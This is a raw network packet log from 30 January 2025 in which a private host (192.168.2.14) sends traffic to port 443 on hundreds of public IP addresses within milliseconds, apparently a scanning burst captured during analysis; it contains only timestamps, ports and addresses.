Jan 30, 2025 10:43:06.183146000 CET	61319	443	192.168.2.14	117.73.147.184
Jan 30, 2025 10:43:06.183151960 CET	61319	443	192.168.2.14	94.243.191.160
Jan 30, 2025 10:43:06.183159113 CET	61319	443	192.168.2.14	210.72.82.102
Jan 30, 2025 10:43:06.183166027 CET	61319	443	192.168.2.14	117.37.116.69
Jan 30, 2025 10:43:06.183173895 CET	61319	443	192.168.2.14	178.80.53.136
Jan 30, 2025 10:43:06.183177948 CET	61319	443	192.168.2.14	79.220.41.16
Jan 30, 2025 10:43:06.183188915 CET	61319	443	192.168.2.14	118.80.231.203
Jan 30, 2025 10:43:06.183188915 CET	61319	443	192.168.2.14	2.56.133.209
Jan 30, 2025 10:43:06.183197975 CET	61319	443	192.168.2.14	42.110.140.75
Jan 30, 2025 10:43:06.183204889 CET	61319	443	192.168.2.14	94.43.28.169
Jan 30, 2025 10:43:06.183204889 CET	61319	443	192.168.2.14	212.36.138.197
Jan 30, 2025 10:43:06.183223963 CET	61319	443	192.168.2.14	117.59.58.82
Jan 30, 2025 10:43:06.183231115 CET	61319	443	192.168.2.14	37.14.92.229
Jan 30, 2025 10:43:06.183234930 CET	61319	443	192.168.2.14	178.160.224.14
Jan 30, 2025 10:43:06.183238983 CET	61319	443	192.168.2.14	117.158.137.115
Jan 30, 2025 10:43:06.183238983 CET	61319	443	192.168.2.14	5.195.201.121
Jan 30, 2025 10:43:06.183240891 CET	61319	443	192.168.2.14	94.28.35.67
Jan 30, 2025 10:43:06.183243990 CET	61319	443	192.168.2.14	210.138.139.253
Jan 30, 2025 10:43:06.183247089 CET	61319	443	192.168.2.14	202.196.58.232
Jan 30, 2025 10:43:06.183249950 CET	61319	443	192.168.2.14	5.221.133.214
Jan 30, 2025 10:43:06.183253050 CET	61319	443	192.168.2.14	178.243.76.145
Jan 30, 2025 10:43:06.183253050 CET	61319	443	192.168.2.14	123.16.252.56
Jan 30, 2025 10:43:06.183258057 CET	61319	443	192.168.2.14	210.187.116.235
Jan 30, 2025 10:43:06.183258057 CET	61319	443	192.168.2.14	212.63.207.58
Jan 30, 2025 10:43:06.183258057 CET	61319	443	192.168.2.14	118.80.103.46
Jan 30, 2025 10:43:06.183259010 CET	61319	443	192.168.2.14	5.29.15.5
Jan 30, 2025 10:43:06.183258057 CET	61319	443	192.168.2.14	210.128.197.252
Jan 30, 2025 10:43:06.183262110 CET	61319	443	192.168.2.14	178.161.250.82
Jan 30, 2025 10:43:06.183268070 CET	61319	443	192.168.2.14	42.53.27.242
Jan 30, 2025 10:43:06.183281898 CET	61319	443	192.168.2.14	94.201.39.254
Jan 30, 2025 10:43:06.183281898 CET	61319	443	192.168.2.14	210.64.24.240
Jan 30, 2025 10:43:06.183281898 CET	61319	443	192.168.2.14	37.168.70.189
Jan 30, 2025 10:43:06.183281898 CET	61319	443	192.168.2.14	212.180.11.30
Jan 30, 2025 10:43:06.183299065 CET	61319	443	192.168.2.14	5.71.143.75
Jan 30, 2025 10:43:06.183300972 CET	61319	443	192.168.2.14	148.111.117.211
Jan 30, 2025 10:43:06.183305025 CET	61319	443	192.168.2.14	123.111.102.21
Jan 30, 2025 10:43:06.183324099 CET	61319	443	192.168.2.14	42.143.56.51
Jan 30, 2025 10:43:06.183324099 CET	61319	443	192.168.2.14	94.243.96.224
Jan 30, 2025 10:43:06.183325052 CET	61319	443	192.168.2.14	42.129.96.252
Jan 30, 2025 10:43:06.183330059 CET	61319	443	192.168.2.14	94.203.172.29
Jan 30, 2025 10:43:06.183346987 CET	61319	443	192.168.2.14	94.70.121.117
Jan 30, 2025 10:43:06.183357000 CET	61319	443	192.168.2.14	212.146.178.26
Jan 30, 2025 10:43:06.183357954 CET	61319	443	192.168.2.14	2.186.191.10
Jan 30, 2025 10:43:06.183357954 CET	61319	443	192.168.2.14	148.225.176.44
Jan 30, 2025 10:43:06.183367014 CET	61319	443	192.168.2.14	94.135.150.23
Jan 30, 2025 10:43:06.183367014 CET	61319	443	192.168.2.14	123.70.73.44
Jan 30, 2025 10:43:06.183367014 CET	61319	443	192.168.2.14	148.214.211.228
Jan 30, 2025 10:43:06.183372974 CET	61319	443	192.168.2.14	118.137.57.194
Jan 30, 2025 10:43:06.183387041 CET	61319	443	192.168.2.14	5.87.245.7
Jan 30, 2025 10:43:06.183389902 CET	61319	443	192.168.2.14	5.22.107.177
Jan 30, 2025 10:43:06.183389902 CET	61319	443	192.168.2.14	118.43.150.16
Jan 30, 2025 10:43:06.183392048 CET	61319	443	192.168.2.14	117.133.163.255
Jan 30, 2025 10:43:06.183408022 CET	61319	443	192.168.2.14	210.246.193.106
Jan 30, 2025 10:43:06.183410883 CET	61319	443	192.168.2.14	42.117.242.38
Jan 30, 2025 10:43:06.183413982 CET	61319	443	192.168.2.14	42.129.219.68
Jan 30, 2025 10:43:06.183414936 CET	61319	443	192.168.2.14	109.208.33.203
Jan 30, 2025 10:43:06.183432102 CET	61319	443	192.168.2.14	123.202.182.83
Jan 30, 2025 10:43:06.183433056 CET	61319	443	192.168.2.14	148.62.223.173
Jan 30, 2025 10:43:06.183434963 CET	61319	443	192.168.2.14	117.52.146.155
Jan 30, 2025 10:43:06.183439970 CET	61319	443	192.168.2.14	148.172.68.106
Jan 30, 2025 10:43:06.183446884 CET	61319	443	192.168.2.14	2.178.117.197
Jan 30, 2025 10:43:06.183458090 CET	61319	443	192.168.2.14	210.90.35.0
Jan 30, 2025 10:43:06.183466911 CET	61319	443	192.168.2.14	79.73.111.252
Jan 30, 2025 10:43:06.183466911 CET	61319	443	192.168.2.14	79.3.187.239
Jan 30, 2025 10:43:06.183469057 CET	61319	443	192.168.2.14	212.171.29.196
Jan 30, 2025 10:43:06.183471918 CET	61319	443	192.168.2.14	117.250.17.161
Jan 30, 2025 10:43:06.183480024 CET	61319	443	192.168.2.14	42.68.230.12
Jan 30, 2025 10:43:06.183490038 CET	61319	443	192.168.2.14	210.125.132.222
Jan 30, 2025 10:43:06.183490992 CET	61319	443	192.168.2.14	79.59.121.127
Jan 30, 2025 10:43:06.183491945 CET	61319	443	192.168.2.14	123.76.178.180
Jan 30, 2025 10:43:06.183495045 CET	61319	443	192.168.2.14	109.175.194.97
Jan 30, 2025 10:43:06.183506966 CET	61319	443	192.168.2.14	2.188.63.18
Jan 30, 2025 10:43:06.183507919 CET	61319	443	192.168.2.14	210.144.76.119
Jan 30, 2025 10:43:06.183526993 CET	61319	443	192.168.2.14	94.115.177.120
Jan 30, 2025 10:43:06.183533907 CET	61319	443	192.168.2.14	202.190.234.155
Jan 30, 2025 10:43:06.183533907 CET	61319	443	192.168.2.14	79.202.157.45
Jan 30, 2025 10:43:06.183533907 CET	61319	443	192.168.2.14	37.42.107.130
Jan 30, 2025 10:43:06.183537960 CET	61319	443	192.168.2.14	178.139.113.113
Jan 30, 2025 10:43:06.183538914 CET	61319	443	192.168.2.14	5.27.53.129
Jan 30, 2025 10:43:06.183558941 CET	61319	443	192.168.2.14	79.193.158.37
Jan 30, 2025 10:43:06.183561087 CET	61319	443	192.168.2.14	94.10.15.24
Jan 30, 2025 10:43:06.183561087 CET	61319	443	192.168.2.14	123.70.229.96
Jan 30, 2025 10:43:06.183564901 CET	61319	443	192.168.2.14	210.207.31.158
Jan 30, 2025 10:43:06.183564901 CET	61319	443	192.168.2.14	5.87.147.107
Jan 30, 2025 10:43:06.183568001 CET	61319	443	192.168.2.14	94.204.181.253
Jan 30, 2025 10:43:06.183576107 CET	61319	443	192.168.2.14	210.173.212.94
Jan 30, 2025 10:43:06.183581114 CET	61319	443	192.168.2.14	94.58.2.124
Jan 30, 2025 10:43:06.183590889 CET	61319	443	192.168.2.14	118.126.241.237
Jan 30, 2025 10:43:06.183590889 CET	61319	443	192.168.2.14	210.224.53.138
Jan 30, 2025 10:43:06.183594942 CET	61319	443	192.168.2.14	117.239.106.69
Jan 30, 2025 10:43:06.183613062 CET	61319	443	192.168.2.14	37.97.33.250
Jan 30, 2025 10:43:06.183614016 CET	61319	443	192.168.2.14	210.70.67.181
Jan 30, 2025 10:43:06.183614016 CET	61319	443	192.168.2.14	5.241.0.53
Jan 30, 2025 10:43:06.183619022 CET	61319	443	192.168.2.14	118.71.29.24
Jan 30, 2025 10:43:06.183625937 CET	61319	443	192.168.2.14	94.153.177.42
Jan 30, 2025 10:43:06.183631897 CET	61319	443	192.168.2.14	210.183.254.79
Jan 30, 2025 10:43:06.183644056 CET	61319	443	192.168.2.14	37.47.242.169
Jan 30, 2025 10:43:06.183646917 CET	61319	443	192.168.2.14	94.35.67.239
Jan 30, 2025 10:43:06.183649063 CET	61319	443	192.168.2.14	94.212.142.152
Jan 30, 2025 10:43:06.183664083 CET	61319	443	192.168.2.14	94.195.225.119
Jan 30, 2025 10:43:06.183665037 CET	61319	443	192.168.2.14	42.19.183.200
Jan 30, 2025 10:43:06.183674097 CET	61319	443	192.168.2.14	79.241.174.232
Jan 30, 2025 10:43:06.183681011 CET	61319	443	192.168.2.14	94.90.38.181
Jan 30, 2025 10:43:06.183681965 CET	61319	443	192.168.2.14	148.46.200.42
Jan 30, 2025 10:43:06.183690071 CET	61319	443	192.168.2.14	117.37.155.213
Jan 30, 2025 10:43:06.183701038 CET	61319	443	192.168.2.14	178.224.230.181
Jan 30, 2025 10:43:06.183705091 CET	61319	443	192.168.2.14	178.160.205.120
Jan 30, 2025 10:43:06.183707952 CET	61319	443	192.168.2.14	42.100.38.108
Jan 30, 2025 10:43:06.183718920 CET	61319	443	192.168.2.14	210.219.172.133
Jan 30, 2025 10:43:06.183722973 CET	61319	443	192.168.2.14	37.35.115.38
Jan 30, 2025 10:43:06.183727026 CET	61319	443	192.168.2.14	178.62.128.193
Jan 30, 2025 10:43:06.183731079 CET	61319	443	192.168.2.14	94.72.231.112
Jan 30, 2025 10:43:06.183743954 CET	61319	443	192.168.2.14	212.255.50.34
Jan 30, 2025 10:43:06.183748007 CET	61319	443	192.168.2.14	123.250.212.78
Jan 30, 2025 10:43:06.183748007 CET	61319	443	192.168.2.14	37.221.53.52
Jan 30, 2025 10:43:06.183751106 CET	37215	36896	197.103.208.53	192.168.2.14
Jan 30, 2025 10:43:06.183760881 CET	61319	443	192.168.2.14	94.42.255.52
Jan 30, 2025 10:43:06.183760881 CET	61319	443	192.168.2.14	117.239.211.178
Jan 30, 2025 10:43:06.183764935 CET	61319	443	192.168.2.14	2.66.216.85
Jan 30, 2025 10:43:06.183770895 CET	61319	443	192.168.2.14	148.59.81.86
Jan 30, 2025 10:43:06.183770895 CET	61319	443	192.168.2.14	148.18.18.34
Jan 30, 2025 10:43:06.183773994 CET	37215	42848	41.175.68.121	192.168.2.14
Jan 30, 2025 10:43:06.183779001 CET	61319	443	192.168.2.14	5.25.108.188
Jan 30, 2025 10:43:06.183783054 CET	37215	43722	197.50.34.79	192.168.2.14
Jan 30, 2025 10:43:06.183790922 CET	37215	49802	156.46.13.57	192.168.2.14
Jan 30, 2025 10:43:06.183792114 CET	61319	443	192.168.2.14	178.20.169.143
Jan 30, 2025 10:43:06.183804035 CET	61319	443	192.168.2.14	109.242.97.165
Jan 30, 2025 10:43:06.183806896 CET	61319	443	192.168.2.14	94.228.92.195
Jan 30, 2025 10:43:06.183806896 CET	61319	443	192.168.2.14	79.82.236.241
Jan 30, 2025 10:43:06.183819056 CET	61319	443	192.168.2.14	37.80.121.89
Jan 30, 2025 10:43:06.183829069 CET	61319	443	192.168.2.14	118.95.20.15
Jan 30, 2025 10:43:06.183839083 CET	61319	443	192.168.2.14	210.58.22.241
Jan 30, 2025 10:43:06.183847904 CET	61319	443	192.168.2.14	37.73.189.52
Jan 30, 2025 10:43:06.183852911 CET	61319	443	192.168.2.14	148.66.57.246
Jan 30, 2025 10:43:06.183855057 CET	61319	443	192.168.2.14	148.169.219.80
Jan 30, 2025 10:43:06.183866978 CET	61319	443	192.168.2.14	2.197.61.17
Jan 30, 2025 10:43:06.183871984 CET	61319	443	192.168.2.14	123.133.249.129
Jan 30, 2025 10:43:06.183875084 CET	61319	443	192.168.2.14	212.139.140.33
Jan 30, 2025 10:43:06.183875084 CET	61319	443	192.168.2.14	42.238.247.106
Jan 30, 2025 10:43:06.183893919 CET	61319	443	192.168.2.14	123.199.156.105
Jan 30, 2025 10:43:06.183893919 CET	61319	443	192.168.2.14	117.49.174.143
Jan 30, 2025 10:43:06.183896065 CET	61319	443	192.168.2.14	148.212.172.213
Jan 30, 2025 10:43:06.183897018 CET	61319	443	192.168.2.14	118.64.137.198
Jan 30, 2025 10:43:06.183907032 CET	61319	443	192.168.2.14	118.115.65.132
Jan 30, 2025 10:43:06.183907986 CET	61319	443	192.168.2.14	123.195.41.101
Jan 30, 2025 10:43:06.183912992 CET	61319	443	192.168.2.14	79.215.140.74
Jan 30, 2025 10:43:06.183913946 CET	37215	37734	156.244.153.180	192.168.2.14
Jan 30, 2025 10:43:06.183914900 CET	61319	443	192.168.2.14	202.144.136.228
Jan 30, 2025 10:43:06.183928013 CET	61319	443	192.168.2.14	42.131.50.253
Jan 30, 2025 10:43:06.183933020 CET	61319	443	192.168.2.14	148.138.141.35
Jan 30, 2025 10:43:06.183933020 CET	61319	443	192.168.2.14	109.38.177.202
Jan 30, 2025 10:43:06.183939934 CET	61319	443	192.168.2.14	2.212.122.14
Jan 30, 2025 10:43:06.183954000 CET	61319	443	192.168.2.14	118.0.162.81
Jan 30, 2025 10:43:06.183954000 CET	61319	443	192.168.2.14	2.180.16.176
Jan 30, 2025 10:43:06.183959007 CET	61319	443	192.168.2.14	178.161.175.237
Jan 30, 2025 10:43:06.183962107 CET	61319	443	192.168.2.14	212.32.123.20
Jan 30, 2025 10:43:06.183963060 CET	61319	443	192.168.2.14	202.144.248.65
Jan 30, 2025 10:43:06.183974028 CET	61319	443	192.168.2.14	118.94.164.81
Jan 30, 2025 10:43:06.183984041 CET	61319	443	192.168.2.14	79.95.223.98
Jan 30, 2025 10:43:06.183984041 CET	61319	443	192.168.2.14	79.237.147.5
Jan 30, 2025 10:43:06.184003115 CET	61319	443	192.168.2.14	42.244.167.98
Jan 30, 2025 10:43:06.184005976 CET	61319	443	192.168.2.14	148.172.239.44
Jan 30, 2025 10:43:06.184009075 CET	61319	443	192.168.2.14	42.172.75.72
Jan 30, 2025 10:43:06.184015989 CET	61319	443	192.168.2.14	148.0.57.238
Jan 30, 2025 10:43:06.184020042 CET	61319	443	192.168.2.14	178.167.227.65
Jan 30, 2025 10:43:06.184021950 CET	61319	443	192.168.2.14	118.101.255.251
Jan 30, 2025 10:43:06.184037924 CET	61319	443	192.168.2.14	212.14.201.4
Jan 30, 2025 10:43:06.184041023 CET	61319	443	192.168.2.14	123.248.220.254
Jan 30, 2025 10:43:06.184041023 CET	61319	443	192.168.2.14	5.223.1.134
Jan 30, 2025 10:43:06.184046030 CET	61319	443	192.168.2.14	109.198.134.1
Jan 30, 2025 10:43:06.184046030 CET	61319	443	192.168.2.14	178.79.32.205
Jan 30, 2025 10:43:06.184061050 CET	61319	443	192.168.2.14	42.204.172.229
Jan 30, 2025 10:43:06.184067965 CET	61319	443	192.168.2.14	212.71.111.242
Jan 30, 2025 10:43:06.184072018 CET	61319	443	192.168.2.14	202.208.70.233
Jan 30, 2025 10:43:06.184079885 CET	61319	443	192.168.2.14	118.99.97.178
Jan 30, 2025 10:43:06.184091091 CET	61319	443	192.168.2.14	117.44.57.68
Jan 30, 2025 10:43:06.184093952 CET	61319	443	192.168.2.14	79.230.174.23
Jan 30, 2025 10:43:06.184097052 CET	61319	443	192.168.2.14	94.80.141.52
Jan 30, 2025 10:43:06.184097052 CET	61319	443	192.168.2.14	212.165.73.161
Jan 30, 2025 10:43:06.184099913 CET	61319	443	192.168.2.14	202.40.163.146
Jan 30, 2025 10:43:06.184113026 CET	61319	443	192.168.2.14	118.15.8.49
Jan 30, 2025 10:43:06.184115887 CET	61319	443	192.168.2.14	202.81.57.227
Jan 30, 2025 10:43:06.184115887 CET	61319	443	192.168.2.14	118.125.78.81
Jan 30, 2025 10:43:06.184118986 CET	61319	443	192.168.2.14	2.209.26.163
Jan 30, 2025 10:43:06.184118986 CET	61319	443	192.168.2.14	109.132.7.1
Jan 30, 2025 10:43:06.184122086 CET	61319	443	192.168.2.14	202.69.57.212
Jan 30, 2025 10:43:06.184135914 CET	61319	443	192.168.2.14	212.150.106.40
Jan 30, 2025 10:43:06.184135914 CET	61319	443	192.168.2.14	123.14.40.89
Jan 30, 2025 10:43:06.184138060 CET	61319	443	192.168.2.14	94.141.215.60
Jan 30, 2025 10:43:06.184138060 CET	61319	443	192.168.2.14	202.99.157.249
Jan 30, 2025 10:43:06.184144974 CET	61319	443	192.168.2.14	123.156.211.183
Jan 30, 2025 10:43:06.184149027 CET	61319	443	192.168.2.14	42.136.29.209
Jan 30, 2025 10:43:06.184149027 CET	61319	443	192.168.2.14	79.87.209.156
Jan 30, 2025 10:43:06.184151888 CET	61319	443	192.168.2.14	202.167.84.169
Jan 30, 2025 10:43:06.184151888 CET	61319	443	192.168.2.14	109.17.49.94
Jan 30, 2025 10:43:06.184155941 CET	61319	443	192.168.2.14	178.200.235.87
Jan 30, 2025 10:43:06.184170961 CET	61319	443	192.168.2.14	148.5.205.233
Jan 30, 2025 10:43:06.184170961 CET	61319	443	192.168.2.14	148.10.192.248
Jan 30, 2025 10:43:06.184175968 CET	61319	443	192.168.2.14	117.59.200.118
Jan 30, 2025 10:43:06.184179068 CET	61319	443	192.168.2.14	212.25.134.233
Jan 30, 2025 10:43:06.184181929 CET	61319	443	192.168.2.14	178.171.249.240
Jan 30, 2025 10:43:06.184182882 CET	61319	443	192.168.2.14	79.158.83.69
Jan 30, 2025 10:43:06.184200048 CET	61319	443	192.168.2.14	2.127.31.227
Jan 30, 2025 10:43:06.184200048 CET	61319	443	192.168.2.14	94.187.79.172
Jan 30, 2025 10:43:06.184202909 CET	61319	443	192.168.2.14	178.115.133.127
Jan 30, 2025 10:43:06.184205055 CET	61319	443	192.168.2.14	118.83.46.92
Jan 30, 2025 10:43:06.184207916 CET	61319	443	192.168.2.14	148.55.17.133
Jan 30, 2025 10:43:06.184209108 CET	61319	443	192.168.2.14	109.27.31.115
Jan 30, 2025 10:43:06.184211016 CET	61319	443	192.168.2.14	202.91.235.113
Jan 30, 2025 10:43:06.184220076 CET	61319	443	192.168.2.14	123.86.109.128
Jan 30, 2025 10:43:06.184221029 CET	61319	443	192.168.2.14	210.61.36.130
Jan 30, 2025 10:43:06.184228897 CET	61319	443	192.168.2.14	94.139.174.91
Jan 30, 2025 10:43:06.184238911 CET	61319	443	192.168.2.14	79.228.53.187
Jan 30, 2025 10:43:06.184238911 CET	61319	443	192.168.2.14	37.165.127.202
Jan 30, 2025 10:43:06.184247017 CET	61319	443	192.168.2.14	42.51.157.37
Jan 30, 2025 10:43:06.184250116 CET	61319	443	192.168.2.14	2.122.165.217
Jan 30, 2025 10:43:06.184252024 CET	61319	443	192.168.2.14	148.129.13.209
Jan 30, 2025 10:43:06.184247017 CET	61319	443	192.168.2.14	178.123.105.218
Jan 30, 2025 10:43:06.184263945 CET	61319	443	192.168.2.14	202.193.233.211
Jan 30, 2025 10:43:06.184264898 CET	61319	443	192.168.2.14	210.83.133.122
Jan 30, 2025 10:43:06.184272051 CET	61319	443	192.168.2.14	210.48.11.169
Jan 30, 2025 10:43:06.184288025 CET	61319	443	192.168.2.14	94.116.28.67
Jan 30, 2025 10:43:06.184288979 CET	61319	443	192.168.2.14	79.46.96.117
Jan 30, 2025 10:43:06.184288979 CET	61319	443	192.168.2.14	148.212.120.31
Jan 30, 2025 10:43:06.184297085 CET	61319	443	192.168.2.14	212.215.178.46
Jan 30, 2025 10:43:06.184305906 CET	61319	443	192.168.2.14	178.4.148.87
Jan 30, 2025 10:43:06.184310913 CET	61319	443	192.168.2.14	118.120.206.57
Jan 30, 2025 10:43:06.184312105 CET	61319	443	192.168.2.14	123.148.246.196
Jan 30, 2025 10:43:06.184329033 CET	61319	443	192.168.2.14	79.107.69.201
Jan 30, 2025 10:43:06.184330940 CET	61319	443	192.168.2.14	2.143.159.2
Jan 30, 2025 10:43:06.184340000 CET	61319	443	192.168.2.14	42.118.66.81
Jan 30, 2025 10:43:06.184344053 CET	61319	443	192.168.2.14	212.219.196.57
Jan 30, 2025 10:43:06.184355021 CET	61319	443	192.168.2.14	202.171.34.36
Jan 30, 2025 10:43:06.184365034 CET	61319	443	192.168.2.14	42.244.141.1
Jan 30, 2025 10:43:06.184369087 CET	61319	443	192.168.2.14	42.156.62.236
Jan 30, 2025 10:43:06.184371948 CET	61319	443	192.168.2.14	109.7.92.204
Jan 30, 2025 10:43:06.184375048 CET	61319	443	192.168.2.14	210.232.232.187
Jan 30, 2025 10:43:06.184391975 CET	61319	443	192.168.2.14	117.140.182.255
Jan 30, 2025 10:43:06.184392929 CET	61319	443	192.168.2.14	212.107.193.150
Jan 30, 2025 10:43:06.184393883 CET	61319	443	192.168.2.14	202.127.237.211
Jan 30, 2025 10:43:06.184398890 CET	61319	443	192.168.2.14	118.176.99.206
Jan 30, 2025 10:43:06.184406042 CET	61319	443	192.168.2.14	212.121.86.76
Jan 30, 2025 10:43:06.184413910 CET	61319	443	192.168.2.14	37.169.141.147
Jan 30, 2025 10:43:06.184428930 CET	61319	443	192.168.2.14	212.235.117.152
Jan 30, 2025 10:43:06.184431076 CET	61319	443	192.168.2.14	123.3.177.45
Jan 30, 2025 10:43:06.184432030 CET	61319	443	192.168.2.14	94.9.83.77
Jan 30, 2025 10:43:06.184432030 CET	61319	443	192.168.2.14	5.166.141.66
Jan 30, 2025 10:43:06.184432030 CET	61319	443	192.168.2.14	109.255.126.2
Jan 30, 2025 10:43:06.184437037 CET	61319	443	192.168.2.14	148.178.50.132
Jan 30, 2025 10:43:06.184437990 CET	61319	443	192.168.2.14	5.189.185.164
Jan 30, 2025 10:43:06.184437990 CET	61319	443	192.168.2.14	79.125.136.233
Jan 30, 2025 10:43:06.184453964 CET	61319	443	192.168.2.14	94.253.21.50
Jan 30, 2025 10:43:06.184461117 CET	61319	443	192.168.2.14	109.104.64.228
Jan 30, 2025 10:43:06.184462070 CET	61319	443	192.168.2.14	118.86.43.50
Jan 30, 2025 10:43:06.184461117 CET	61319	443	192.168.2.14	117.255.213.129
Jan 30, 2025 10:43:06.184463024 CET	61319	443	192.168.2.14	79.110.77.161
Jan 30, 2025 10:43:06.184469938 CET	61319	443	192.168.2.14	202.226.32.108
Jan 30, 2025 10:43:06.184478045 CET	61319	443	192.168.2.14	42.142.11.71
Jan 30, 2025 10:43:06.184483051 CET	61319	443	192.168.2.14	79.152.32.132
Jan 30, 2025 10:43:06.184495926 CET	61319	443	192.168.2.14	37.53.103.72
Jan 30, 2025 10:43:06.184498072 CET	61319	443	192.168.2.14	178.182.49.252
Jan 30, 2025 10:43:06.184500933 CET	61319	443	192.168.2.14	109.207.208.65
Jan 30, 2025 10:43:06.184500933 CET	61319	443	192.168.2.14	123.28.191.194
Jan 30, 2025 10:43:06.184509039 CET	61319	443	192.168.2.14	148.247.50.3
Jan 30, 2025 10:43:06.184509039 CET	61319	443	192.168.2.14	5.125.168.128
Jan 30, 2025 10:43:06.184520006 CET	61319	443	192.168.2.14	123.135.1.9
Jan 30, 2025 10:43:06.184531927 CET	61319	443	192.168.2.14	123.47.22.16
Jan 30, 2025 10:43:06.184533119 CET	61319	443	192.168.2.14	2.131.157.117
Jan 30, 2025 10:43:06.184540987 CET	61319	443	192.168.2.14	118.122.60.189
Jan 30, 2025 10:43:06.184545040 CET	61319	443	192.168.2.14	5.228.228.92
Jan 30, 2025 10:43:06.184554100 CET	61319	443	192.168.2.14	212.200.37.171
Jan 30, 2025 10:43:06.184559107 CET	61319	443	192.168.2.14	2.226.241.235
Jan 30, 2025 10:43:06.184561968 CET	61319	443	192.168.2.14	202.197.143.51
Jan 30, 2025 10:43:06.184562922 CET	61319	443	192.168.2.14	79.188.37.166
Jan 30, 2025 10:43:06.184571981 CET	61319	443	192.168.2.14	123.55.93.31
Jan 30, 2025 10:43:06.184578896 CET	61319	443	192.168.2.14	123.236.201.99
Jan 30, 2025 10:43:06.184578896 CET	61319	443	192.168.2.14	118.163.249.113
Jan 30, 2025 10:43:06.184588909 CET	61319	443	192.168.2.14	202.209.234.142
Jan 30, 2025 10:43:06.184591055 CET	61319	443	192.168.2.14	178.92.7.230
Jan 30, 2025 10:43:06.184601068 CET	61319	443	192.168.2.14	123.58.9.204
Jan 30, 2025 10:43:06.184604883 CET	61319	443	192.168.2.14	178.45.77.135
Jan 30, 2025 10:43:06.184612036 CET	61319	443	192.168.2.14	37.181.112.186
Jan 30, 2025 10:43:06.184617996 CET	61319	443	192.168.2.14	117.21.203.156
Jan 30, 2025 10:43:06.184623003 CET	61319	443	192.168.2.14	42.121.19.255
Jan 30, 2025 10:43:06.184632063 CET	61319	443	192.168.2.14	37.139.19.76
Jan 30, 2025 10:43:06.184634924 CET	61319	443	192.168.2.14	123.214.221.126
Jan 30, 2025 10:43:06.184714079 CET	61319	443	192.168.2.14	79.181.193.156
Jan 30, 2025 10:43:06.184720039 CET	61319	443	192.168.2.14	79.254.156.4
Jan 30, 2025 10:43:06.184720039 CET	61319	443	192.168.2.14	79.254.14.121
Jan 30, 2025 10:43:06.184732914 CET	61319	443	192.168.2.14	210.27.139.70
Jan 30, 2025 10:43:06.184732914 CET	61319	443	192.168.2.14	212.68.169.41
Jan 30, 2025 10:43:06.184747934 CET	61319	443	192.168.2.14	202.144.139.185
Jan 30, 2025 10:43:06.184752941 CET	61319	443	192.168.2.14	94.1.75.79
Jan 30, 2025 10:43:06.184752941 CET	61319	443	192.168.2.14	42.243.149.53
Jan 30, 2025 10:43:06.184767008 CET	61319	443	192.168.2.14	2.76.232.107
Jan 30, 2025 10:43:06.184767962 CET	61319	443	192.168.2.14	5.117.161.229
Jan 30, 2025 10:43:06.184772968 CET	61319	443	192.168.2.14	123.235.213.206
Jan 30, 2025 10:43:06.184779882 CET	61319	443	192.168.2.14	5.105.213.99
Jan 30, 2025 10:43:06.184779882 CET	61319	443	192.168.2.14	123.210.22.91
Jan 30, 2025 10:43:06.184798956 CET	61319	443	192.168.2.14	118.203.51.11
Jan 30, 2025 10:43:06.184798956 CET	61319	443	192.168.2.14	37.2.106.157
Jan 30, 2025 10:43:06.184798956 CET	61319	443	192.168.2.14	5.213.241.142
Jan 30, 2025 10:43:06.184802055 CET	61319	443	192.168.2.14	118.194.55.93
Jan 30, 2025 10:43:06.184803963 CET	61319	443	192.168.2.14	178.150.143.183
Jan 30, 2025 10:43:06.184809923 CET	61319	443	192.168.2.14	94.128.94.216
Jan 30, 2025 10:43:06.184824944 CET	61319	443	192.168.2.14	79.236.164.151
Jan 30, 2025 10:43:06.184829950 CET	61319	443	192.168.2.14	148.102.49.127
Jan 30, 2025 10:43:06.184832096 CET	61319	443	192.168.2.14	202.245.59.63
Jan 30, 2025 10:43:06.184839964 CET	61319	443	192.168.2.14	94.138.212.178
Jan 30, 2025 10:43:06.184848070 CET	61319	443	192.168.2.14	118.40.249.178
Jan 30, 2025 10:43:06.184850931 CET	61319	443	192.168.2.14	109.255.174.196
Jan 30, 2025 10:43:06.184865952 CET	61319	443	192.168.2.14	210.163.195.185
Jan 30, 2025 10:43:06.184866905 CET	61319	443	192.168.2.14	210.214.177.4
Jan 30, 2025 10:43:06.184866905 CET	61319	443	192.168.2.14	42.142.87.106
Jan 30, 2025 10:43:06.184873104 CET	61319	443	192.168.2.14	210.178.84.192
Jan 30, 2025 10:43:06.184881926 CET	61319	443	192.168.2.14	148.139.191.146
Jan 30, 2025 10:43:06.184914112 CET	61319	443	192.168.2.14	2.97.230.170
Jan 30, 2025 10:43:06.184916019 CET	61319	443	192.168.2.14	94.115.46.71
Jan 30, 2025 10:43:06.184919119 CET	61319	443	192.168.2.14	94.209.83.69
Jan 30, 2025 10:43:06.184926033 CET	61319	443	192.168.2.14	37.85.20.71
Jan 30, 2025 10:43:06.184926033 CET	61319	443	192.168.2.14	94.7.54.40
Jan 30, 2025 10:43:06.184928894 CET	61319	443	192.168.2.14	210.63.180.221
Jan 30, 2025 10:43:06.184947968 CET	61319	443	192.168.2.14	117.219.187.79
Jan 30, 2025 10:43:06.184948921 CET	61319	443	192.168.2.14	94.201.17.226
Jan 30, 2025 10:43:06.184950113 CET	61319	443	192.168.2.14	212.52.8.68
Jan 30, 2025 10:43:06.184951067 CET	61319	443	192.168.2.14	2.216.52.216
Jan 30, 2025 10:43:06.184952021 CET	61319	443	192.168.2.14	94.95.73.159
Jan 30, 2025 10:43:06.184952021 CET	61319	443	192.168.2.14	94.157.184.97
Jan 30, 2025 10:43:06.184950113 CET	61319	443	192.168.2.14	202.245.176.187
Jan 30, 2025 10:43:06.184952021 CET	61319	443	192.168.2.14	2.98.118.108
Jan 30, 2025 10:43:06.184953928 CET	61319	443	192.168.2.14	202.116.96.93
Jan 30, 2025 10:43:06.184952974 CET	61319	443	192.168.2.14	210.154.122.36
Jan 30, 2025 10:43:06.184952021 CET	61319	443	192.168.2.14	37.35.168.170
Jan 30, 2025 10:43:06.184952021 CET	61319	443	192.168.2.14	148.152.23.22
Jan 30, 2025 10:43:06.184953928 CET	61319	443	192.168.2.14	123.24.245.194
Jan 30, 2025 10:43:06.184952021 CET	61319	443	192.168.2.14	79.93.51.189
Jan 30, 2025 10:43:06.184953928 CET	61319	443	192.168.2.14	117.60.186.199
Jan 30, 2025 10:43:06.184967041 CET	61319	443	192.168.2.14	148.240.252.6
Jan 30, 2025 10:43:06.184967041 CET	61319	443	192.168.2.14	178.102.248.40
Jan 30, 2025 10:43:06.184968948 CET	61319	443	192.168.2.14	123.80.132.91
